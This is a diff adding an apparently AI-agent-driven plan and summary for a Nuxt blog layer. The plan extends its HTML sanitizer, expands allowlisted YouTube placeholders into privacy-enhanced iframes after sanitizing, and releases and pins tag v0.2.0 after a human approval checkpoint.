+  - ../vue-journal-layer/testing/expect-acme.txt
+  - ../vue-journal-layer/README.md
+  - ../vue-journal-layer/package.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
+autonomous: false
+requirements: [D-05, D-17]
+estimate:
+  tokens: 55000
+  raw_tokens: 55000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-17 and D-05: JournalPostBody and JournalCategoryHeader render expandEmbeds(sanitizeJournalHtml(html)): the sanitizer runs first at the v-html sink and expansion is the very last step, so the iframe it builds is never passed through a sanitizer that would strip it; the payload transforms (toPostView, the category page) only sanitize and keep the placeholder; only an exact <figure data-embed=\"youtube\" data-id=\"ID\"></figure> with an 11-character id from [A-Za-z0-9_-] becomes <figure class=\"journal-embed journal-embed--youtube\"> holding an iframe on https://www.youtube-nocookie.com/embed/ID; any other figure, provider or id stays unchanged and inert."
+    - "D-05 (amended): htmlGate.ts mirrors plan 03's Go policy extension exactly (figure data-embed ^youtube$ and data-id ^[A-Za-z0-9_-]{11}$, img alt with any text, ol start integer) and nothing more; every entry of tests/fixtures/editor-corpus.json, a byte copy of plan 02's corpus, is safe under gateJournalHtml, and the placeholder survives sanitizeJournalHtml twice (payload, then sink) before it expands."
+    - "D-05: a raw iframe in stored HTML is stripped by sanitizeJournalHtml before expansion (the rest of the body renders, no iframe comes from stored markup)."
+    - "D-17: the built playground server, run with testing/smoke-ssr.mjs against the acme fixtures, renders the youtube-nocookie iframe for the fixture post that carries a placeholder."
+    - "D-17: vue-journal-layer v0.2.0 is an annotated tag on origin, scripts/check-git-install.sh v0.2.0 passes, and vue-grzybyfunkcjonalne-app main pins git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0 with a pnpm-lock.yaml that resolves to the tag's commit, builds and passes its tests."
+  artifacts:
+    - path: "../vue-journal-layer/app/utils/embeds.ts"
+      provides: "expandEmbeds and the provider allowlist"
+      contains: "youtube-nocookie.com/embed/"
+    - path: "../vue-journal-layer/app/utils/htmlGate.ts"
+      provides: "the sanitize-html mirror with the editor-output extension"
+      contains: "data-embed"
+    - path: "../vue-journal-layer/tests/fixtures/editor-corpus.json"
+      provides: "byte copy of the Blog Editor's output corpus (plan 02)"
+      contains: "data-embed"
+    - path: "../vue-journal-layer/tests/embeds.test.ts"
+      provides: "node:test smoke of the transform and the gate order"
+      contains: "expandEmbeds"
+    - path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json"
+      provides: "layer pin"
+      contains: "vue-journal-layer.git#v0.2.0"
+  key_links:
+    - from: "../vue-journal-layer/app/components/Journal/PostBody.vue"
+      to: "../vue-journal-layer/app/utils/embeds.ts expandEmbeds"
+      via: "v-html of expandEmbeds(sanitizeJournalHtml(html)), expansion last"
+      pattern: "expandEmbeds"
+    - from: "../vue-journal-layer/tests/fixtures/editor-corpus.json"
+      to: "../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json"
+      via: "byte copy; the plan 06 phase gate compares the two files"
+      pattern: "editor-corpus.json"
+    - from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml"
+      to: "vue-journal-layer v0.2.0 commit"
+      via: "pnpm install after the pin bump"
+      pattern: "vue-journal-layer"
+  prohibitions:
+    - statement: "The layer never builds an iframe from anything but a validated provider id and a fixed host; htmlGate.ts gains only the four editor-output rules plan 03 adds to the Go policy, never iframe, URL schemes, styles, event attributes or other data attributes."
+      status: unresolved
+      verification: judgment
+    - statement: "A pushed layer tag is never moved or deleted; a defect after the push gets v0.2.1."
+      status: unresolved
+      verification: judgment
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): plugins can register their own admin form field types, and the Journal plugin ships a first-class Blog Editor formwidget for post content that edits imported HTML posts losslessly.
+
+This plan's slice (user decision 1, plan 04): the frontend half of embeds (D-17). The reusable Nuxt blog views layer keeps the editor's markup through its sanitizer, expands the allowlisted embed placeholders into privacy-enhanced YouTube iframes as the last step before v-html, ships as tag v0.2.0, and the site app pins it.
+
+## Revision 2026-10-10 (16.1 drift, CONTEXT D-05 amended)
+
+16.1 replaced the layer's regex gate with sanitize-html 2.18.0 (5beb1c5, decision note `docs/decisions/0001-sanitize-html.md`, tag v0.1.1 at 294a8d8). The layer now never blanks a body: `sanitizeJournalHtml` strips what the policy refuses, `gateJournalHtml` returns `{safe, html}` with `html` always sanitized, and there is no blocked notice. The body is sanitized twice: once in the payload (`toPostView`, the category page) and again at the sink (`JournalPostBody`, `JournalCategoryHeader`). Two consequences for this plan:
+
+- **Order.** Expansion must be the very last step at the sink, after `sanitizeJournalHtml`. Run anywhere earlier, for example in `toPostView`, the sink's sanitizer would strip the iframe again.
+- **Mirror.** The placeholder's `data-embed`/`data-id` (and the editor's `alt` text and `ol start`) are stripped by the mirror today. Amended D-05 extends the Go policy (plan 03) and this mirror with the same four rules, pinned by plan 02's corpus. That is why this plan now waits for plan 02 (wave 2, parallel with plan 03).
+
+The site app pins `#v0.1.1` today, and the layer's package.json version field still reads 0.1.0. Where RESEARCH Pattern 7 says the gate "refuses" a raw iframe, read "strips".
+
+Path note: the site app is the submodule `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (its own repository, origin git.golem15.com/golem15/vue-grzybyfunkcjonalne-app, branch main), not a sibling directory. Plan 05 bumps the host's gitlink to the app commit pushed here.
+
+## Spec-less probe fallback
+
+Visible skip: "spec-less probe fallback skipped: phase has no requirement IDs to probe". Prohibitions above are recalled in-prompt and descriptor-less (flagged-unverified).
+
+## Decisions recorded here (Claude's discretion)
+
+- Provider allowlist: YouTube only, as one entry in `EMBED_PROVIDERS` (id pattern `^[A-Za-z0-9_-]{11}$`, src `https://www.youtube-nocookie.com/embed/<id>`), matching the editor's table in plan 02.
+- The placeholder is matched exactly as the editor writes it (attribute order data-embed then data-id, empty figure, no caption). Anything else is left as is, so an unknown or malformed placeholder renders as an empty figure.
+- Iframe attributes: `title="YouTube video"`, `loading="lazy"`, `referrerpolicy="strict-origin-when-cross-origin"`, `allow="encrypted-media; picture-in-picture; fullscreen"`, `allowfullscreen`. Since 16.1 the UAT vhost sends a public Content-Security-Policy-Report-Only whose default-src 'self' has no frame-src, so the iframe loads (report-only) but logs a violation; plan 05 adds frame-src https://www.youtube-nocookie.com to that policy in the host repository (RESEARCH Pattern 7's "no CSP" predates 16.1).
+- The layer tag push is a one-way door and gets its own checkpoint here; the summercms tag and the UAT deploy are gated in plan 05.
+- Mirror extension: exactly the four rules plan 03 adds to the Go policy: `figure` `data-embed` `^youtube$` and `data-id` `^[A-Za-z0-9_-]{11}$`, `img` `alt` with any value, and `ol` `start` (`INTEGER`). The corpus copy lives at `tests/fixtures/editor-corpus.json` with a test header comment naming its source; the copy is never edited by hand.
+
+## Artifacts this phase produces (this plan)
+
+- `app/utils/embeds.ts`: `EMBED_PLACEHOLDER` (RegExp), `EMBED_PROVIDERS`, `expandEmbeds(html: string): string`.
+- `app/utils/htmlGate.ts`: `figure` and `ol` entries plus the widened `img` `alt` rule in `ELEMENT_ATTRS` (mirror of the Go extension).
+- `tests/fixtures/editor-corpus.json` (byte copy of plan 02's corpus); corpus, mirror and pipeline cases in `tests/htmlGate.test.ts` and `tests/embeds.test.ts`.
+- `docs/decisions/0001-sanitize-html.md`: the Policy section lists the four editor-output additions.
+- CSS classes `.journal-embed`, `.journal-embed--youtube` in `app/assets/css/journal-base.css`.
+- `tests/embeds.test.ts`; acme fixture post with a placeholder and the matching `testing/expect-acme.txt` line.
+- Layer version 0.2.0 and annotated tag `v0.2.0` on origin.
+- vue-grzybyfunkcjonalne-app main: pin `#v0.2.0` and the updated `pnpm-lock.yaml`.
+
+<objective>
+Mirror the editor-output policy extension in the layer's sanitizer, expand editor embed placeholders as the last step of the post and category sinks (D-17, D-05), release the layer as v0.2.0 and pin it in the site app.
+
+Purpose: grzybyfunkcjonalne.pl shows the YouTube embeds authors add in the Blog Editor, and keeps their alt text and list numbering, while stored HTML still goes through the strict sanitizer.
+Output: the htmlGate.ts mirror and corpus test, embeds.ts with tests and SSR proof, tag v0.2.0, app pin and lockfile.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-CONTEXT.md
+@.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-RESEARCH.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
+
+Repositories: `../vue-journal-layer` (branch main at 294a8d8 = tag v0.1.1, earlier tags v0.0.1 and v0.1.0; depends on sanitize-html 2.18.0; package.json version field 0.1.0; pnpm-lock.yaml; tests run with `npm test` = node --test on TypeScript with type stripping, Node 22.18 or later) and `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app` (branch main, pnpm). Commits: no co-author tags, stage by explicit path. Use only erasable TypeScript syntax in files node --test loads (no enums, no parameter properties) and import siblings with the .ts extension, as htmlGate.ts does.
+
+<interfaces>
+Placeholder written by the editor (plan 02) and the expansion it becomes:
+
+```html
+<figure data-embed="youtube" data-id="dQw4w9WgXcQ"></figure>
+<!-- becomes -->
+<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" title="YouTube video" loading="lazy" referrerpolicy="strict-origin-when-cross-origin" allow="encrypted-media; picture-in-picture; fullscreen" allowfullscreen></iframe></figure>
+```
+
+Existing sanitizer (app/utils/htmlGate.ts, sanitize-html 2.18.0 mirroring the Go bluemonday policy): `sanitizeJournalHtml(html): string` strips what the policy refuses (iframe, script and style with their content; on* attributes; target and rel; URLs other than http, https, mailto and relative; attribute values failing their pattern) and always returns sanitize-html's own serialization; `gateJournalHtml(html) -> { safe, html }` never blanks (`safe` reports whether the policy kept everything); `isSafeJournalHtml(html)`. Policy tables: `GLOBAL_ATTRS`, `ELEMENT_ATTRS` (img alt uses `PARAGRAPH`; no figure or ol entry today), `EMPTY_ATTRS`. Call sites: `toPostView` (app/utils/postView.ts) and app/journal-pages/CategoryPage.vue sanitize the payload; `JournalPostBody` renders `v-html` of `sanitizeJournalHtml(props.html)`; `JournalCategoryHeader` renders `v-html` of `sanitizeJournalHtml(props.category.content)`.
+
+Pipeline after this plan: payload `sanitizeJournalHtml` (placeholder kept) → sink `sanitizeJournalHtml` (placeholder kept) → `expandEmbeds` (last) → `v-html`.
+</interfaces>
+</context>
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Tracer: a stored placeholder renders as a privacy-enhanced YouTube iframe on the post page (mirror extension, sanitize, expand last, v-html, SSR)</name>
+  <reversibility rating="costly">D-05 and D-17: the layer's matcher is the reader of the stored placeholder format; both must change together if the markup ever changes.</reversibility>
+  <precondition>../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json exists (plan 02 Task 3) and parses as JSON.</precondition>
+  <files>../vue-journal-layer/app/utils/htmlGate.ts, ../vue-journal-layer/app/utils/embeds.ts, ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/tests/htmlGate.test.ts, ../vue-journal-layer/tests/embeds.test.ts, ../vue-journal-layer/tests/fixtures/editor-corpus.json, ../vue-journal-layer/testing/fixtures/acme/posts.json, ../vue-journal-layer/testing/expect-acme.txt, ../vue-journal-layer/docs/decisions/0001-sanitize-html.md, ../vue-journal-layer/README.md</files>
+  <read_first>../vue-journal-layer/app/utils/htmlGate.ts (ELEMENT_ATTRS, PARAGRAPH, INTEGER, EMPTY_ATTRS, filterAttributeValues, KEEP_ALL), ../vue-journal-layer/tests/htmlGate.test.ts (test style), ../vue-journal-layer/app/utils/postView.ts, ../vue-journal-layer/app/journal-pages/CategoryPage.vue, ../vue-journal-layer/app/journal-pages/PostPage.vue, ../vue-journal-layer/docs/decisions/0001-sanitize-html.md (Policy section), ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json (plan 02), ../sm-journal-plugin/classes/format_html.go (newHTMLPolicy: the Go side of the mirror), ../vue-journal-layer/app/components/Journal/PostBody.vue, ../vue-journal-layer/app/components/Journal/CategoryHeader.vue, ../vue-journal-layer/app/assets/css/journal-base.css, ../vue-journal-layer/app/assets/css/journal-tokens.css, ../vue-journal-layer/testing/expect-acme.txt (grammar), ../vue-journal-layer/testing/fixtures/acme/posts.json (post hello-acme), ../vue-journal-layer/testing/smoke-ssr.mjs, ../vue-journal-layer/.playground/nuxt.config.ts, ../vue-journal-layer/package.json, ../vue-journal-layer/README.md</read_first>
+  <action>Build the expansion on the post page end to end (per D-17, D-05).
+
+Mirror (D-05 amended): in htmlGate.ts add the same four rules plan 03 adds to the Go policy and nothing else: an ELEMENT_ATTRS entry for figure with data-embed matching ^youtube$ and data-id matching ^[A-Za-z0-9_-]{11}$; an ol entry gaining start (INTEGER) next to type; img alt accepting any value (a new rule constant, documented as the editor's free-text alt; sanitize-html escapes attribute values). Extend the header comment's list of additions. Copy ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json byte for byte to tests/fixtures/editor-corpus.json. In tests/htmlGate.test.ts: every corpus entry is safe under gateJournalHtml; the placeholder is kept by sanitizeJournalHtml applied twice; data-embed other than youtube, a 10- or 12-character id, data-id on div and any other data attribute on figure are still stripped; an iframe is still stripped with its content; ol start="3" kept and start="x" stripped; an alt with a colon, a question mark and quotes kept. Update the Policy section of docs/decisions/0001-sanitize-html.md with the four additions and their reason (the Blog Editor's own output, pinned by the corpus, mirroring the Go policy).
+
+embeds.ts (header comment naming the editor's placeholder and the Go policy as the source of truth, in the htmlGate.ts style): EMBED_PROVIDERS with one entry youtube (id pattern ^[A-Za-z0-9_-]{11}$, src builder on https://www.youtube-nocookie.com/embed/, title "YouTube video"); EMBED_PLACEHOLDER, a global RegExp matching exactly the placeholder in the interfaces block with capture groups for provider and id (attribute values without quotes or angle brackets); expandEmbeds(html) replaces a match only when the provider is in EMBED_PROVIDERS and the id passes its pattern, producing exactly the expansion in the interfaces block; every other match is returned unchanged; empty input returns "". The regex matches the serialization sanitize-html gives the placeholder (attribute order kept, double quotes), because its input is always sanitizer output.
+
+Wiring (order is the point): PostBody.vue computes the rendered HTML as expandEmbeds(sanitizeJournalHtml(props.html)) and CategoryHeader.vue as expandEmbeds(sanitizeJournalHtml(props.category.content)); expansion is the last step before v-html and its output is never sanitized again (sanitize-html would strip the iframe). toPostView and CategoryPage.vue keep only sanitizing (the payload carries the placeholder, not the iframe); do not expand there. Update the components' header comments to say so. journal-base.css adds .journal-embed (block, margin from the existing spacing tokens, aspect-ratio 16 / 9, width 100 percent) and its iframe (width and height 100 percent, border 0).
+
+Fixtures: append the placeholder for id dQw4w9WgXcQ to the content_html of the acme post hello-acme, and add to testing/expect-acme.txt the line "200 /blog/hello-acme contains=https://www.youtube-nocookie.com/embed/dQw4w9WgXcQ" under the single-post block.
+
+Smoke: tests/embeds.test.ts (node:test): the placeholder expands to the exact iframe markup; a 10-character id, an unknown provider and a figure with extra attributes stay unchanged; the composed sink pipeline expandEmbeds(sanitizeJournalHtml(x)) turns a stored placeholder into the iframe but strips a raw iframe in x, so the only iframe in the output is the one built from the placeholder; the payload-then-sink pipeline (sanitize, sanitize, expand) gives the same result; two placeholders in one body both expand; the corpus embed entry expands after sanitizing.
+
+README.md: an "Embeds" section describing the placeholder, the allowlist, the sanitize-first, expand-last order and the CSS classes; the HTML sanitizer bullet names the four editor-output additions. Commit as "feat: keep Blog Editor markup in the sanitizer and expand Journal embed placeholders into privacy-enhanced iframes", staged by explicit path.</action>
+  <verify>
+    <automated>npm --prefix ../vue-journal-layer test 2&gt;&amp;1 | grep -E '^# fail 0$'</automated>
+    <fails_when>No "# fail 0" line in the TAP summary: an embeds or mirror test failed (a corpus entry is unsafe, the placeholder does not survive two sanitizer passes, a negative case is no longer stripped, or a stored iframe reaches the output), or an existing htmlGate, postView, routes, seo, sitemap, i18n, pagination or client test failed.</fails_when>
+    <automated>pnpm -C ../vue-journal-layer install --frozen-lockfile &amp;&amp; pnpm -C ../vue-journal-layer run build:playground &amp;&amp; node ../vue-journal-layer/testing/smoke-ssr.mjs --output ../vue-journal-layer/.playground/.output --fixtures ../vue-journal-layer/testing/fixtures/acme --expect ../vue-journal-layer/testing/expect-acme.txt 2&gt;&amp;1 | grep '^smoke-ssr: ok ('</automated>
+    <fails_when>No line starting with "smoke-ssr: ok (": the playground build failed, or an expectation failed (the new youtube-nocookie line on /blog/hello-acme, or an existing one such as /blog/unsafe-sample containing <p>Before</p><p>After</p> without alert().</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `grep -n "export function expandEmbeds" ../vue-journal-layer/app/utils/embeds.ts` prints one line.
+    - `grep -c "expandEmbeds" ../vue-journal-layer/app/components/Journal/PostBody.vue ../vue-journal-layer/app/components/Journal/CategoryHeader.vue` reports at least 1 for each file, and `grep -c "expandEmbeds" ../vue-journal-layer/app/utils/postView.ts ../vue-journal-layer/app/journal-pages/CategoryPage.vue` reports 0 for each (no expansion before the sink's sanitizer).
+    - `grep -n "data-embed" ../vue-journal-layer/app/utils/htmlGate.ts` prints at least one line, and `cmp ../vue-journal-layer/tests/fixtures/editor-corpus.json ../sm-journal-plugin/tests/blogeditor/fixtures/editor-corpus.json` exits 0.
+<!-- planner-discipline-allow: expandEmbeds -->
+    - `grep -n "youtube-nocookie.com/embed/dQw4w9WgXcQ" ../vue-journal-layer/testing/expect-acme.txt` prints one line.
+    - The node test summary shows "# fail 0" and includes the embeds tests; smoke-ssr passes against the built playground.
+  </acceptance_criteria>
+  <done>The layer's sanitizer keeps exactly the editor's own markup, a placeholder in a stored post renders as a youtube-nocookie iframe in the SSR page, malformed placeholders stay inert, and raw iframes are still stripped.</done>
+</task>
+
+<task type="checkpoint:decision" gate="blocking-human">
+  <name>Task 2: Approve pushing vue-journal-layer v0.2.0 and the site app pin</name>
+  <precondition>Task 1's two verify commands passed.</precondition>
+  <read_first>../vue-journal-layer/scripts/check-git-install.sh, ../vue-journal-layer/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json</read_first>
+  <action>Automate the checks, then stop. In ../vue-journal-layer: `git status --porcelain` prints nothing; `git fetch origin --tags`; `git log --oneline HEAD..origin/main` prints nothing (if it prints commits, stop and report); `git ls-remote --tags origin refs/tags/v0.2.0` prints nothing. Set package.json version to 0.2.0 and commit it as "chore: release v0.2.0". In the app submodule: `git status --porcelain` prints nothing and `git log --oneline HEAD..origin/main` prints nothing. Print the release sheet: the layer commits to push (`git log --oneline origin/main..HEAD`), the tag name and message "v0.2.0: Blog Editor markup kept by the sanitizer; Journal embed placeholders expand into privacy-enhanced YouTube iframes", the app change (pin #v0.1.1 to #v0.2.0 plus the regenerated lockfile), and the rollback (a defect means v0.2.1; the app pin can go back to #v0.1.1). Stop for the human.</action>
+  <decision>Push vue-journal-layer main and the annotated tag v0.2.0, then push the vue-grzybyfunkcjonalne-app pin bump?</decision>
+  <context>A pushed tag is installed by consumer lockfiles (git+https ... #v0.2.0) and cannot be moved, only superseded. The site app's main (today ada03b2, pinning #v0.1.1) is what plan 05 deploys to UAT through the host gitlink. The embed expansion and the four mirror rules are harmless before any post holds editor markup.</context>
+  <options>
+    <option id="push">
+      <name>Push now</name>
+      <pros>The site can render embeds as soon as plan 05 deploys; check-git-install proves the tag installs anonymously</pros>
+      <cons>The tag is permanent</cons>
+    </option>
+    <option id="hold">
+      <name>Hold the tag</name>
+      <pros>Nothing leaves this machine</pros>
+      <cons>Plan 05 cannot bump the app gitlink to an app that pins v0.2.0; embeds would not render on UAT</cons>
+    </option>
+  </options>
+  <resume-signal>Reply "push" or "hold".</resume-signal>
+  <verify>
+    <automated>test -z "$(git -C ../vue-journal-layer status --porcelain)" &amp;&amp; test -z "$(git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0)" &amp;&amp; grep -q '"version": "0.2.0"' ../vue-journal-layer/package.json &amp;&amp; test -z "$(git -C ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app status --porcelain)" &amp;&amp; echo push-precheck-ok</automated>
+    <fails_when>Non-zero exit or "push-precheck-ok" absent: the layer or app tree is dirty, the tag already exists on origin, or the version bump is missing.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - push-precheck-ok was printed.
+    - The SUMMARY records the release sheet and the human's reply verbatim.
+  </acceptance_criteria>
+  <done>A human chose push or hold (hold stops the plan and is reported to plan 05).</done>
+</task>
+
+<task type="auto">
+  <name>Task 3: Push the layer tag, prove the git install, pin v0.2.0 in the site app</name>
+  <reversibility rating="one-way">The annotated tag v0.2.0 is consumed by lockfiles that pin its commit; it can only be superseded by v0.2.1.</reversibility>
+  <precondition>Task 2 was answered "push"; `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` still prints nothing.</precondition>
+  <files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml</files>
+  <read_first>../vue-journal-layer/scripts/check-git-install.sh, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/ssr.test.ts (needs a build first), ../sm-grzybyfunkcjonalne-app/scripts/build.sh (how the host builds the app: pnpm install --frozen-lockfile)</read_first>
+  <action>Release the layer (per D-17): in ../vue-journal-layer create the annotated tag with git tag -a v0.2.0 and the message from Task 2, then git push origin main and git push origin v0.2.0; run bash scripts/check-git-install.sh v0.2.0 (a scratch app installs the tag anonymously, the lockfile pins the tag commit, nuxt build and the acme SSR expectations, including the new embed line, pass).
+
+Pin in the site app: in ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app change the vue-journal-layer dependency from #v0.1.1 to git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.2.0, run pnpm install to regenerate pnpm-lock.yaml (it must record the tag's commit), then pnpm build and pnpm test (unit and SSR tests against the built output). Commit package.json and pnpm-lock.yaml as "chore(deps): vue-journal-layer v0.2.0 (Journal embeds)" and push origin main. Record both pushed heads and the tag commit in the SUMMARY.</action>
+  <verify>
+    <automated>bash ../vue-journal-layer/scripts/check-git-install.sh v0.2.0</automated>
+    <fails_when>Non-zero exit: the tag is not on origin, the scratch lockfile pins another commit, nuxt build fails, or an acme SSR expectation fails.</fails_when>
+    <automated>cd ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app &amp;&amp; grep -q 'vue-journal-layer.git#v0.2.0' package.json &amp;&amp; pnpm install --frozen-lockfile &amp;&amp; pnpm build &amp;&amp; pnpm test &amp;&amp; test "$(git rev-parse HEAD)" = "$(git rev-parse origin/main)" &amp;&amp; echo app-pin-ok</automated>
+    <fails_when>Non-zero exit or "app-pin-ok" absent: the pin is missing, the lockfile is out of date, the build or a unit or SSR test fails, or the app commit was not pushed.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `git -C ../vue-journal-layer ls-remote --tags origin refs/tags/v0.2.0` prints a line, and check-git-install.sh v0.2.0 passes.
+    - The app package.json pins #v0.2.0, pnpm-lock.yaml records the tag's commit, and app main equals origin/main.
+    - The SUMMARY records the layer tag commit, the layer and app heads pushed.
+  </acceptance_criteria>
+  <done>vue-journal-layer v0.2.0 is published and installable, and the site app pins it on its pushed main.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Journal API content_html → site v-html | stored HTML (admin-written or imported) becomes page markup |
+| site page → youtube-nocookie.com | the visitor's browser loads a third-party frame |
+| executor → git origin | the layer tag and the app main are read by other builds |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.2-19 | Tampering (iframe injection) | expandEmbeds | high | mitigate | Exact-markup regex, provider allowlist and an id pattern; the iframe src is built from a fixed host plus the validated id; anything else stays inert; tests cover malformed ids, unknown providers and extra attributes |
+| T-16.2-20 | Elevation of Privilege | sanitize-then-expand order | high | mitigate | sanitizeJournalHtml runs first at each v-html sink and expandEmbeds is the last step, so stored raw iframes are stripped and the only iframe is the one built from a validated placeholder; expansion never happens in a payload transform (acceptance grep); tests compose the sink and the payload-then-sink pipelines |
+| T-16.2-32 | Tampering (stored XSS) / policy drift | htmlGate.ts mirror extension | high | mitigate | Exactly the four editor-output rules the Go policy gains in plan 03, with the same patterns; no iframe, URL scheme, style or other data attribute; every corpus entry (byte copy of plan 02's corpus, compared with cmp here and in the plan 06 gate) is safe, and the negative cases stay stripped |
+| T-16.2-21 | Information Disclosure (visitor privacy) | YouTube frame | low | mitigate | youtube-nocookie.com privacy-enhanced domain, lazy loading, strict-origin-when-cross-origin referrer policy; the site's report-only CSP allows frames only from that host (frame-src, added by plan 05) |
+| T-16.2-22 | Tampering / Repudiation | tag and pushes | medium | mitigate | Clean trees and an absent tag checked at a blocking-human checkpoint; check-git-install proves the published tag; heads recorded in the SUMMARY |
+| T-16.2-SC | Tampering | npm/pnpm installs | high | mitigate | No new package: the layer adds no dependency; the app only changes its pin to the project's own layer tag and regenerates the lockfile with pnpm |
+</threat_model>
+
+<verification>
+- Task 1: node tests ("# fail 0") and the playground SSR smoke pass.
+- Task 2: push-precheck-ok and a human decision.
+- Task 3: check-git-install v0.2.0 passes and the app pin builds, tests and is pushed.
+</verification>
+
+<success_criteria>
+- D-17: embeds render on the site through the layer, v0.2.0 is published and pinned in the app.
+- D-05: the sanitizer mirrors the Go policy's four editor-output rules and nothing more, still runs first at every sink, and expansion is last.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md` when done, with the human reply, the tag commit, the pushed heads and the SSR smoke output.
+</output>

.planning/phases/16.2-plugin-provided-field-types-and-the-blog-editor-formwidget/16.2-04-SUMMARY.md

@@ -0,0 +1,247 @@
+---
+phase: 16.2-plugin-provided-field-types-and-the-blog-editor-formwidget
+plan: 04
+subsystem: journal-frontend
+tags: [vue-journal-layer, nuxt, sanitize-html, embeds, youtube-nocookie, release, pnpm, vue-grzybyfunkcjonalne-app]
+
+requires:
+  - phase: 16.2-02
+    provides: tests/blogeditor/fixtures/editor-corpus.json (the Blog Editor's output corpus) and the placeholder format <figure data-embed="youtube" data-id="ID"></figure>
+  - phase: 16.1
+    provides: sanitize-html 2.18.0 mirror (htmlGate.ts, decision note 0001-sanitize-html.md), layer tag v0.1.1, app pin #v0.1.1
+provides:
+  - "vue-journal-layer htmlGate.ts mirror of the Go editor-output extension: figure data-embed ^youtube$, figure data-id ^[A-Za-z0-9_-]{11}$, img alt free text, ol start INTEGER"
+  - "vue-journal-layer app/utils/embeds.ts: EMBED_PLACEHOLDER, EMBED_PROVIDERS (youtube only), expandEmbeds(html)"
+  - "JournalPostBody and JournalCategoryHeader render expandEmbeds(sanitizeJournalHtml(html)); expansion is last, payload transforms only sanitize"
+  - "CSS classes .journal-embed and .journal-embed--youtube (16 / 9 frame)"
+  - "tests/fixtures/editor-corpus.json, a byte copy of plan 02's corpus"
+  - "Annotated tag vue-journal-layer v0.2.0 (tag object 042b65d0, commit 759e684e) on origin, installable anonymously over git+https"
+  - "vue-grzybyfunkcjonalne-app main 465286a pins #v0.2.0 with a lockfile resolving to 759e684e"
+affects: [16.2-05, 16.2-06, vue-journal-layer, vue-grzybyfunkcjonalne-app]
+
+actuals:
+  tokens: 9700
+  tasks: 3
+  commits: 3
+plan_head_before: 294a8d8b19b999d54cc3b1266d0f42968159f5f2
+plan_head_after: 759e684e862bd8a2f34e2bbcdf258f66aeddad4f
+commits_repo: ../vue-journal-layer
+app_head_before: ada03b202bdfce2c09812dc81c58b0890cf4b86b
+app_head_after: 465286a880f0aae6118c2915aa1475a5da353295
+app_commits_repo: ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
+app_commits: 1
+
+tech-stack:
+  added: []
+  patterns:
+    - "Sanitize first, expand last: the v-html sink runs sanitizeJournalHtml and then expandEmbeds; nothing sanitizes after expansion, and payload transforms never expand"
+    - "Exact-markup placeholder expansion: one global RegExp matching the sanitizer's serialization, a provider allowlist with an id pattern, and an iframe src built from a fixed host plus the validated id; any other match is returned unchanged"
+    - "Mirror pinned by the editor's corpus: the layer keeps a byte copy of the Go side's corpus and every entry must be safe under gateJournalHtml"
+
+key-files:
+  created:
+    - ../vue-journal-layer/app/utils/embeds.ts
+    - ../vue-journal-layer/tests/embeds.test.ts
+    - ../vue-journal-layer/tests/fixtures/editor-corpus.json
+  modified:
+    - ../vue-journal-layer/app/utils/htmlGate.ts
+    - ../vue-journal-layer/app/components/Journal/PostBody.vue
+    - ../vue-journal-layer/app/components/Journal/CategoryHeader.vue
+    - ../vue-journal-layer/app/assets/css/journal-base.css
+    - ../vue-journal-layer/tests/htmlGate.test.ts
+    - ../vue-journal-layer/testing/fixtures/acme/posts.json
+    - ../vue-journal-layer/testing/expect-acme.txt
+    - ../vue-journal-layer/docs/decisions/0001-sanitize-html.md
+    - ../vue-journal-layer/README.md
+    - ../vue-journal-layer/package.json
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
+    - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
